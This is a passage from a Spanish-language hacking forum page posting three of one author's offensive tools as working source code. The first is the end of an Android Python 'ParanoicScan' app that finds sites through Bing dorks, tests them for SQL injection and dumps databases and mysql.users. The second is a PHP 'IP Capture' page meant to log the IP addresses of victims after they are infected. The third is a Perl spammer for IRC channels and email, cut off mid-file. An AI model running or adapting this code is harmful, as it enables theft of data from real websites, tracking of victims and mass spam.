    code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

    if (re.findall("whois\/(.*?)\">Whois",code)):
      rex = re.findall("whois\/(.*?)\">Whois",code)
      respuesta = respuesta + "\n\n[++] DNS Founds\n"
      for dns in rex:
       respuesta = respuesta + "\n[+] "+dns

    return respuesta

    def sqltest(webs):
    respuesta = ""
    for web in webs :
      if re.findall("=",web):
       web = re.split("=",web)
       web = web[0]+"="

       try:
        code = toma(web+"-1+union+select+1--")
        if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
         respuesta = respuesta + "[SQLI] : "+web+"\n"
       except:
        pass
    return respuesta

    def limpiar(pag):

    limpia = []
    for p in pag:
      if p not in limpia:
       limpia.append(p)
    return limpia

    def bingscan(dork,count):

    respuesta = ""

    pag = []
    s = 10 

    while s <= int(count):
      try:
       code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
       d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
       s += 10
       for a in d:
        pag.append(a)
      except:
       pass

    pag = limpiar(pag)

    return pag


    ##
     
    aplicacion = android.Android()

    def menuencoder():

    aplicacion.dialogCreateAlert("Encoders")
    aplicacion.dialogSetItems(["MD5 Encoder","Base64 Encoder","Base64 Decoder","Hex Encoder","Hex Decoder","Exit"])
    aplicacion.dialogShow()
    reh = aplicacion.dialogGetResponse().result
    reb = reh["item"]

    if reb==0:

      aplicacion.dialogCreateAlert("MD5 Encoder")
     
      aplicacion.dialogGetInput("MD5 Encoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("MD5 Encoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = md5encoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("MD5 Encoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()


    if reb==1 :

      aplicacion.dialogCreateAlert("Base64 Encoder")
     
      aplicacion.dialogGetInput("Base64 Encoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Base64 Encoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = base64encoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Base64 Encoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()

    if reb==2 :

      aplicacion.dialogCreateAlert("Base64 Decoder")
     
      aplicacion.dialogGetInput("Base64 Decoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Base64 Decoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = base64decoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Base64 Decoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()
     
    if reb==3 :

      aplicacion.dialogCreateAlert("Hex Encoder")
     
      aplicacion.dialogGetInput("Hex Encoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Hex Encoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = hexencoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Hex Encoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()


    if reb==4 :

      aplicacion.dialogCreateAlert("Hex Decoder")
     
      aplicacion.dialogGetInput("Hex Decoder","Enter Text")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menuencoder()
      else:
       texto = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Hex Decoder","[+] Encoding ...")
       aplicacion.dialogShow()

       don = hexdecoder(texto)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Hex Decoder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menuencoder()

    if reb==5:
      menu()

    def menusql():

    aplicacion.dialogCreateAlert("SQLI Scanner")
    aplicacion.dialogSetItems(["Get Tables","Get Columns","Get Databases","Get Tables of DB","Get Columns of DB","Get mysql.users","Get Details DB","Dump Values","Exit"])
    aplicacion.dialogShow()
    reez = aplicacion.dialogGetResponse().result
    opsql = reez["item"]

    if opsql==0:

      aplicacion.dialogCreateAlert("SQLI Scanner")
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables ...")
      aplicacion.dialogShow()

      don = showtables(webvul)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()
       
    if opsql==1 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:   
       tabla = ref['value']

       aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns ...")
       aplicacion.dialogShow()

       don = showcolumns(webvul,tabla)
       
       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("SQLI Scanner",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menusql()
       
    if opsql==2 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Databases ...")
      aplicacion.dialogShow()

      don = showdbs(webvul)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()
       
    if opsql==3 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:   
       db = ref['value']

       aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Tables of DB ...")
       aplicacion.dialogShow()

       don = showtablesdb(webvul,db)
       
       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("SQLI Scanner",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menusql()

    if opsql==4 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter DB Name")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:   
       db = ref['value']

       aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
       ref = aplicacion.dialogGetResponse().result

       if not ref['which'] == 'positive' :
        menusql()
       else:
        tabla = ref['value']
        aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching Columns of DB ...")
        aplicacion.dialogShow()

        don = showcolumnsdb(webvul,db,tabla)
       
        aplicacion.dialogDismiss()

        aplicacion.dialogCreateAlert("SQLI Scanner",don)
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()
     
        op = aplicacion.dialogGetResponse().result

        if op["which"] == "positive" :
         menusql()

    if opsql==5 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Searching mysql.users ...")
      aplicacion.dialogShow()

      don = mysqluser(webvul)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()
     
    if opsql==6 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
      aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Information ...")
      aplicacion.dialogShow()

      don = more(webvul)

      aplicacion.dialogDismiss()

      aplicacion.dialogCreateAlert("SQLI Scanner",don)
      aplicacion.dialogSetPositiveButtonText("Done")
      aplicacion.dialogShow()
     
      op = aplicacion.dialogGetResponse().result

      if op["which"] == "positive" :
       menusql()

    if opsql==7 :

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter Table")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menusql()
      else:   
       tabla = ref['value']

       aplicacion.dialogGetInput("SQLI Scanner","Enter Column1")
       ref = aplicacion.dialogGetResponse().result

       if not ref['which'] == 'positive' :
        menusql()
       else:
        columna1 = ref['value']
        aplicacion.dialogGetInput("SQLI Scanner","Enter Column2")
        ref = aplicacion.dialogGetResponse().result
        if not ref['which'] == 'positive' :
         menusql()
        else:   
         columna2 = ref['value']
         aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Getting Values ...")
         aplicacion.dialogShow()

         don = dumper(webvul,tabla,columna1,columna2)
       
         aplicacion.dialogDismiss()
         aplicacion.dialogCreateAlert("SQLI Scanner",don)
         aplicacion.dialogSetPositiveButtonText("Done")
         aplicacion.dialogShow() 
         op = aplicacion.dialogGetResponse().result

         if op["which"] == "positive" :
          menusql()

    if opsql==8:
      menu()

    def menu():

    aplicacion.dialogCreateAlert("ParanoicScan 0.3 (C) Doddy Hackman 2014")
    aplicacion.dialogSetItems(["BingHackTool","SQLI Scanner","MD5 Cracker","Admin Finder","Locate IP","HTTP FingerPrinting","Encoders","About","Exit"])
    aplicacion.dialogShow()
    re = aplicacion.dialogGetResponse().result
    re2 = re["item"]

    if re2==0:

      aplicacion.dialogCreateAlert("BingHack Tool")
     
      aplicacion.dialogGetInput("BingHack Tool","Enter Dork")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:   
       dork = ref['value']

       aplicacion.dialogGetInput("BingHack Tool","Enter number of pages to search")
       ref = aplicacion.dialogGetResponse().result

       if not ref['which'] == 'positive' :
        menu()
       else:
        paginas = ref['value']

        paginas = str(paginas)

        aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Searching ...")
        aplicacion.dialogShow()

        founds = ""
        rez = ""
        rtafinal = ""

        founds = bingscan(dork,paginas)

        aplicacion.dialogDismiss()

        aplicacion.dialogCreateSpinnerProgress("BingHack Tool","Scanning ...")
        aplicacion.dialogShow()

        rez = sqltest(founds)

        if len(rez) == 0 :
         rtafinal = "[-] Not Found"
        else :
         rtafinal = "[++] Pages Founds\n\n"
         rtafinal = rtafinal + rez
         rtafinal = rtafinal + "\n[++] Finished\n"

        aplicacion.dialogDismiss()

        aplicacion.dialogCreateAlert("BingHack Tool",rtafinal)
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()
     
        op = aplicacion.dialogGetResponse().result
        if op["which"] == "positive" :
         menu()

    if re2==1 :

      global webvul

      aplicacion.dialogCreateAlert("SQLI Scanner")
     
      aplicacion.dialogGetInput("SQLI Scanner","Enter Page")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:   
       web = ref['value']
       aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Scanning ...")
       aplicacion.dialogShow()

       pass1,pass2 = bypass("--")
       code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass2)
       codedos = toma(web+"1"+pass1+"and"+pass1+"1=1"+pass2)

       if not code==codedos:
        aplicacion.dialogDismiss()
        aplicacion.dialogCreateAlert("SQLI Scanner","[+] SQLI Detected")
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()
        op = aplicacion.dialogGetResponse().result
        if op["which"] == "positive" :

         pass1,pass2 = bypass("--")
         rtacondata = ""
         control_sql = 0

         aplicacion.dialogCreateSpinnerProgress("SQLI Scanner","[+] Finding columns length")
         aplicacion.dialogShow()

         number = "unhex(hex(concat(0x4b30425241,1,0x4b30425241)))"
         for te in range(2,30):
          number = str(number)+","+"unhex(hex(concat(0x4b30425241,"+str(te)+",0x4b30425241)))"
          code = toma(web+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+number+pass2)
          if(regexver(code)):
           numbers = regexdar(code)

           control_sql = 1

           rtacondata = rtacondata + "[+] Column length : "+str(te)
           rtacondata = rtacondata + "\n[+] Numbers "+str(numbers)+" print data"

           sql = ""
           tex = te + 1
           for sqlix in range(2,tex):
            sql = str(sql)+","+str(sqlix)
            sqli  = str(1)+sql
           sqla = reem(sqli,numbers[0])
           aplicacion.dialogDismiss()
           aplicacion.dialogCreateAlert("SQLI Scanner",rtacondata)
           aplicacion.dialogSetPositiveButtonText("Done")
           aplicacion.dialogShow()
           op = aplicacion.dialogGetResponse().result
           if op["which"] == "positive" :
        webvul = web+"-1"+pass1+"union"+pass1+"select"+pass1+sqla
        menusql()

         if control_sql==0:

          aplicacion.dialogDismiss()
          aplicacion.dialogCreateAlert("SQLI Scanner","[-] Length dont found")
          aplicacion.dialogSetPositiveButtonText("Done")
          aplicacion.dialogShow()
          op = aplicacion.dialogGetResponse().result
          if op["which"] == "positive" :
           aplicacion.exit()

       else:
        aplicacion.dialogDismiss()
        aplicacion.dialogCreateAlert("SQLI Scanner","[-] Not Vulnerable")
        aplicacion.dialogSetPositiveButtonText("Done")
        aplicacion.dialogShow()
        op = aplicacion.dialogGetResponse().result
        if op["which"] == "positive" :
         aplicacion.exit()

    if re2==2 :

      aplicacion.dialogCreateAlert("MD5 Cracker")
     
      aplicacion.dialogGetInput("MD5 Cracker","Enter MD5")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:   
       target = ref['value']

       aplicacion.dialogCreateSpinnerProgress("MD5 Cracker","[+] Cracking ...")
       aplicacion.dialogShow()

       don = crackmd5(target)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("MD5 Cracker",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()
     
    if re2==3 :

      aplicacion.dialogCreateAlert("Admin Finder")
     
      aplicacion.dialogGetInput("Admin Finder","Enter Target")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:   
       target = ref['value']

       aplicacion.dialogCreateSpinnerProgress("Admin Finder","[+] Searching ...")
       aplicacion.dialogShow()

       don = scanpanel(target)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("Admin Finder",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()

    if re2==4 :

      aplicacion.dialogCreateAlert("LocateIP")
     
      aplicacion.dialogGetInput("LocateIP","Enter Target")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:
       target = ref['value']

       aplicacion.dialogCreateSpinnerProgress("LocateIP","[+] Searching ...")
       aplicacion.dialogShow()

       don = locateip(target)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("LocateIP",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()
     
    if re2==5 :

      aplicacion.dialogCreateAlert("HTTP FingerPrinting")
     
      aplicacion.dialogGetInput("HTTP FingerPrinting","Enter Target")
      ref = aplicacion.dialogGetResponse().result

      if not ref['which'] == 'positive' :
       menu()
      else:
       target = ref['value']

       aplicacion.dialogCreateSpinnerProgress("HTTP FingerPrinting","[+] Scanning ...")
       aplicacion.dialogShow()

       don = httpfinger(target)

       aplicacion.dialogDismiss()

       aplicacion.dialogCreateAlert("HTTP FingerPrinting",don)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()

    if re2==6 :
      menuencoder()

    if re2==7 :

       about = "This program was written by Doddy Hackman in the summer of 2014"
       aplicacion.dialogCreateAlert("About",about)
       aplicacion.dialogSetPositiveButtonText("Done")
       aplicacion.dialogShow()
     
       op = aplicacion.dialogGetResponse().result

       if op["which"] == "positive" :
        menu()

    if re2==8 :
      aplicacion.exit()
     
    menu()

    # The End ?


    Si quieren bajarlo lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#136
Back-end / [PHP] DH Defacer Tools 0.8
Enero 31, 2014, 12:11:37 AM
Un simple programa en PHP dedicado a las vulnerabilidades webs con las siguientes opciones :

  • Bing Scanner con scanner SQLI incluido
  • SQLI Scanner
  • LFI Scanner
  • Crackear varias hashes MD5
  • Buscador del panel de administracion
  • Localizador de IP y sus DNS
  • Encoders para base64,HEX y MD5

    Un video con ejemplos de uso :



    Si quieren bajar el código lo pueden hacer You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#137
Back-end / [PHP] IP Capture 0.2
Enero 27, 2014, 03:08:29 PM
Un simple programa en PHP para capturar la IP de algun visitante , en realidad no funciona como contador y esas cosas , lo hice pensando en capturar la IP de alguien despues de infectarlo con cualquier cosa ya sea troyano u otras cosas.
La idea es asi , mandarle a la victima la url con ?id= , por ejemplo en mi caso el archivo es image.php , entonces para mandarle a la victima seria asi :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

De esa forma el programa captura la IP y la hora , despues de esto el programa redirecciona a la url marcada por ustedes en la configuracion del programa.

Para entrar a la administracion es asi :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

El codigo :

Código: php

<?php

// IP Capture 0.2
// Written By Doddy Hackman in the summer of the 2014

//Edit

$username = "admin";
$password = "21232f297a57a5a743894a0e4a801fc3"; //admin
$host = "localhost";
$userw = "root";
$passw = "";
$db = "ip";

//

error_reporting(0);
if (isset($_GET['id'])) {
    mysql_connect($host, $userw, $passw);
    mysql_select_db($db);
    $ipa = ip2long($_SERVER[REMOTE_ADDR]);
    $ip = mysql_real_escape_string($_SERVER[REMOTE_ADDR]);
    $agente = mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']);
    $hora = mysql_real_escape_string(date('l jS \of F Y h:i:s A'));
    if ($ipa == - 1 || $ipa === FALSE || $ip == "127.0.0.1") {
        //echo $ip."<br>";
        //echo $agente."<br>";
        //echo $hora."<br>";
        mysql_query("INSERT INTO ips (id,ip,useragent,hora) values (NULL,'$ip','$agente','$hora')");
        $link = mysql_query("select link from links where id=1");
        if ($valor = mysql_fetch_array($link)) {
            echo "<meta http-equiv='Refresh' content='0;url=$valor[0]'>";
        }
    } else {
        echo "<script>alert('Good Try Bitch');</script>";
    }
    mysql_close();
} elseif (isset($_GET['admin'])) {
    if (isset($_COOKIE['portal'])) {
        $st = base64_decode($_COOKIE['portal']);
        $plit = split("@", $st);
        $user = $plit[0];
        $pass = $plit[1];
        if ($user == $username and $pass == $password) {
            darcolor();
            mysql_connect($host, $userw, $passw);
            mysql_select_db($db);
            if (isset($_POST['instalar'])) {
                $todo = "create table ips (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
ip TEXT NOT NULL,
useragent TEXT NOT NULL,
hora TEXT NOT NULL,
PRIMARY KEY(id));
";
                $todo2 = "create table links (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
link TEXT NOT NULL,
PRIMARY KEY(id));
";
                if (mysql_query($todo)) {
                    if (mysql_query($todo2)) {
                        mysql_query("INSERT INTO links (id,link) values (NULL,'http://www.google.com')");
                        echo "<script>alert('Installed');</script>";
                        echo '<meta http-equiv="refresh" content=0;URL=>';
                    }
                } else {
                    echo "<script>alert('Error');</script>";
                }
            }
            if (mysql_num_rows(mysql_query("show tables like 'ips'"))) {
                //Lo demas
                echo "<table border=1 style='margin: 0 auto;'>";
                echo "<title>IP Capture Administration 0.2</title>";
                echo "<td><br><center><h1><b>IP Capture Administration 0.2</h1></b></center><br><br></td><tr>";
                if (isset($_GET['del'])) {
                    $id = $_GET['del'];
                    if (is_numeric($id)) {
                        if (mysql_query("delete from ips where id ='$id'")) {
                            echo "<script>alert('Deleted');</script>";
                        } else {
                            echo "<script>alert('Error');</script>";
                        }
                    }
                }
                if (isset($_POST['linknuevo'])) {
                    $linkar = mysql_real_escape_string($_POST['linknuevo']);
                    if (mysql_query("update links set link='$linkar' where id=1")) {
                        echo "<script>alert('Changed');</script>";
                    } else {
                        echo "<script>alert('Error');</script>";
                    }
                }
                echo "<td>
<center><table borde=1><td>
<h2><center><br>Update Link</center></h2></td><tr><br><br><td>
<form action='?admin=na&linknuevo' method=POST><br>
<b>Link : </b><input type=text size=50 name=linknuevo value=";
                $link = mysql_query("select link from links where id=1");
                if ($valor = mysql_fetch_array($link)) {
                    echo $valor[0];
                }
                echo "></td><tr><td><center><br><input type=submit value=Changed></center><br></td><tr></table><br>
</form></td><tr>
<br><td>";
                $iny = htmlentities("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id=");
                echo "<center><table border=1><br>";
                echo "<td><h2><br><center>Link to Send</center></h2></td><tr>";
                echo "<td><input text=gen size=100 value=" . $iny . "></td><tr>";
                echo "<br></table></center><br>";
                echo "<br><center><table border=1>
<td><h2><center>Logs</center></h2></td><tr><td>
<table border=1>
<td>ID</td><td>IP</td><td>UserAgent</td><td>DateTime</td><td>Option</td><tr>";
                $sen = @mysql_query("select * from ips order by id ASC");
                while ($ab = @mysql_fetch_array($sen)) {
                    echo "<td>" . htmlentities($ab[0]) . "</td><td>" . htmlentities($ab[1]) . "</td><td>" . htmlentities($ab[2]) . "</td><td>" . htmlentities($ab[3]) . "</td><td><a href=?admin=na&del=" . htmlentities($ab[0]) . ">Delete</a></td><tr>";
                }
                echo "</table></center><br><br><br></td>
</center>
</td><tr></table>
";
                echo "<br><br><br><center><h1>-- == (C) Doddy Hackman 2014 == --</h1></center><br><br></table>";
                //
               
            } else {
                echo "
<center><br><br>
<form action='' method=POST>
<h2>You want to install IP Capture 0.2 ?</h2><br><br>
<input type=submit name=instalar value=Install>
</form>";
            }
            mysql_close();
            exit(1);
            // End
           
        } else {
            echo "<script>alert('Fuck You');</script>";
        }
    }
    if (isset($_POST['login'])) {
        if ($_POST['user'] == $username and md5($_POST['password']) == $password) {
            setcookie("portal", base64_encode($_POST['user'] . "@" . md5($_POST['password'])));
            echo "<script>alert('Welcome Idiot');</script>";
            echo '<meta http-equiv="refresh" content=0;URL=?admin=>';
        } else {
            echo "<script>alert('Fuck You');</script>";
        }
    } else {
        darcolor();
        echo "
<title>IP Capture 0.2</title>
<br><h1><center>IP Capture 0.2</center></h1>
<br><br><center>
<form action='' method=POST>
Username : <input type=text name=user><br>
Password : <input type=text name=password><br><br>
<input type=submit name=login value=Enter><br>
</form>
</center><br><br>";
    }
} else {
    mysql_connect($host, $userw, $passw);
    mysql_select_db($db);
    $link = mysql_query("select link from links where id=1");
    if ($valor = mysql_fetch_array($link)) {
        echo "<meta http-equiv='Refresh' content='0;url=$valor[0]'>";
    }
    mysql_close();
}
function darcolor() {
    echo '<style type="text/css">


.main {
margin            : -287px 0px 0px -490px;
border            : White solid 1px;
BORDER-COLOR: #00FF00;
}


#pie {
position: absolute;
bottom: 0;
}

body,a:link {
background-color: #000000;
color:#00FF00;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}

a:link,a:visited,a:active {
color: #00FF00;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>';
}

// The End ?

?>     
#138
Perl / [Perl] KingSpam 0.8
Enero 24, 2014, 01:16:59 PM
Un simple script para spammear cuentas de correo y canales IRC.

El codigo.

Código: perl

#!usr/bin/perl
#King Spam 0.8
#(C) Doddy Hackman 2014

use IO::Socket;
use Win32::OLE;

menu();
copyright();

sub menu {

    head();

    print qq(

[++] Options

[+] 1 : Spam IRC Channel
[+] 2 : Spam E-mail Address
[+] 3 : About
[+] 4 : Exit

);

    print "[+] Option : ";
    chomp( my $op = <stdin> );

    $SIG{INT} = \&volver;

    if ( $op eq "1" ) {

        print "\n\n-- == IRC Spammer == --\n\n";

        print "\n[+] Hostname : ";
        chomp( my $hostname = <stdin> );
        print "\n[+] Port : ";
        chomp( my $port = <stdin> );
        print "\n[+] Channel : ";
        chomp( my $canal = <stdin> );
        print "\n[+] Nickname : ";
        chomp( my $nombre = <stdin> );
        print "\n[+] Spam : ";
        chomp( my $archivo = <stdin> );

        my @spamnow = cargarword($archivo);

        print "\n[+] Connecting\n\n";

        if (
            my $socket = new IO::Socket::INET(
                PeerAddr => $hostname,
                PeerPort => $port,
                Proto    => "tcp"
            )
          )
        {

            print $socket "NICK $nombre\r\n";
            print $socket "USER $nombre 1 1 1 1\r\n";
            print $socket "JOIN $canal\r\n";

            print "[+] Spammer Online\n\n";

            while ( my $log = <$socket> ) {

                chomp $log;

                if ( $log =~ /^PING(.*)$/i ) {
                    print $socket "PONG $1\r\n";
                }

                if ( $log =~ m/:(.*) 353 (.*) = (.*) :(.*)/ig ) {

                    while (true) {

                        my $pro = $4;

                        sleep 10;

                        print $socket "PRIVMSG $canal "
                          . $spamnow[ rand(@spamnow) ] . "\r\n";
                        my @nicks = split " ", $pro;

                        sleep 3;

                        foreach $names (@nicks) {
                            unless ( $nombre eq $names ) {
                                $names =~ s/\@//;
                                print $socket
                                  "MSG $names $spamnow[rand(@spamnow)]\r\n";
                                print "[+] Spam : $names !\n";
                            }
                        }
                    }
                }
            }
        }
        else {
            print "[-] Error\n";
            print "\n[+] Finished\n";
            <stdin>;
            menu();
        }

    }
    elsif ( $op eq "2" ) {

        print "\n\n-- == Spam Mails == --\n\n";

        print "\n[+] Host : ";
        chomp( my $host = <stdin> );

        print "\n[+] Port : ";
        chomp( my $puerto = <stdin> );

        print "\n[+] Username : ";
        chomp( my $username = <stdin> );

        print "\n[+] Password : ";
        chomp( my $password = <stdin> );

        print "\n[+] Count Message : ";
        chomp( my $count = <stdin> );

        print "\n[+] To : ";
        chomp( my $to = <stdin> );

        print "\n[+] Subject : ";
        chomp( my $asunto = <stdin> );

        print "\n[+] Body : ";
        chomp( my $body = <stdin> );

        print "\n[+] File to Send : ";
        chomp( my $file = <stdin> );

        print "\n[+] Starting ...\n\n";

        for my $num ( 1 .. $count ) {
            print "[+] Sending Message : $num\n";
            sendmail(
                $host,     $puerto,   $username, $password,
                $username, $username, $username, $to,
                $asunto,   $body,     $file
            );
        }

        print "\n[+] Finished\n";
        <stdin>;
        menu();

    }
    elsif ( $op eq "3" ) {
        print
"\n\n[+] This program was written by Doddy Hackman in the summer of the 2014\n";
        <stdin>;
        menu();
    }
    elsif ( $op eq "4" ) {
        copyright();
        <stdin>;
        exit(1);
    }
    else {
        menu();
    }

}

#Functions

sub sendmail {

## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow

    my (
        $host, $port, $username, $password, $from, $cc,
        $bcc,  $to,   $asunto,   $mensaje,  $file
    ) = @_;

    $correo = Win32::OLE->new('CDO.Message');

    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusername',
        $username );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
        $password );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
        $port );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    $correo->Configuration->Fields->Update();

    if ( -f $file ) {
        $correo->AddAttachment($file);
    }

    $correo->{From}     = $from;
    $correo->{CC}       = $cc;
    $correo->{BCC}      = $bcc;
    $correo->{To}       = $to;
    $correo->{Subject}  = $asunto;
    $correo->{TextBody} = $mensaje;
    $correo->Send();

}

sub volver {
    print "\n\n[+] Finished\n";
    <stdin>;
    menu();
}

sub cargarword {
    my @words;
    my @r;
    open( FILE, $_[0] );
    @words = <FILE>;
    close FILE;
    for (@words) {
        push( @r, $_ );
    }
    return (@r);
}

sub limpiarpantalla {
    if ( $^O =~ /Win/ ) {
        system("cls");
    }
    else {
        system("clear");
    }
}

sub head {

    limpiarpantalla();

    print qq(


@   @  @  @    @   @@@@       @@@   @@@@@    @    @     @
@  @   @  @@   @  @    @     @   @  @    @   @    @     @
